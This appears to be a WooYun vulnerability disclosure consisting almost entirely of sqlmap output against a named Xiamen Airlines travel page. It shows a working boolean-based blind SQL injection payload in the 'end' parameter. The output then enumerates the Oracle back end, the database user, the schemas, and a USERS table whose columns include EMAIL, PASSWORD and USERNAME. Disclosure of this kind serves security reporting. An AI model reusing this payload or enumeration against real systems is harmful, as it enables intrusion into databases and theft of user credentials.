WooYun.org

http://travel.xiamenair.com/Travel/Domestic.html?start=%7Cundefined&end=%25u53A6%25u95E8%7CXMN

sqlmap identified the following injection points with a total of 261 HTTP(s) requests:
---
Parameter: end (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: start=|undefined&end=%u53A6%u95E8|XMN' AND 5242=5242 AND 'dwgq'='dwgq
    Vector: AND [INFERENCE]
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Oracle
current user:    'XMAIR'
current schema (equivalent to database on Oracle):    'XMAIR'
current user is DBA:    False
available databases [4]:
[*] SYS
[*] SYSTEM
[*] XHSHOPADM
[*] XMAIR
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: end (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: start=|undefined&end=%u53A6%u95E8|XMN' AND 5242=5242 AND 'dwgq'='dwgq
    Vector: AND [INFERENCE]
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
back-end DBMS: Oracle
No tables found
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: end (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: start=|undefined&end=%u53A6%u95E8|XMN' AND 5242=5242 AND 'dwgq'='dwgq
    Vector: AND [INFERENCE]
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
back-end DBMS: Oracle
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: end (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: start=|undefined&end=%u53A6%u95E8|XMN' AND 5242=5242 AND 'dwgq'='dwgq
    Vector: AND [INFERENCE]
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
back-end DBMS: Oracle
Database: XMAIR
[1 table]
+-------+
| USERS |
+-------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: end (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: start=|undefined&end=%u53A6%u95E8|XMN' AND 5242=5242 AND 'dwgq'='dwgq
    Vector: AND [INFERENCE]
---
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 4.0.30319
back-end DBMS: Oracle
Database: XMAIR
Table: USERS
[9 columns]
+-------------+-------------+
| Column      | Type        |
+-------------+-------------+
| DESCRIPTION | non-numeric |
| EMAIL       | non-numeric |
| PASSWORD    | numeric     |
| PRODUCT_ID  | numeric     |
| ROWID       | non-numeric |
| TITLE       | non-numeric |
| UID         | numeric     |
| USERID      | numeric     |
| USERNAME    | numeric     |
+-------------+-------------+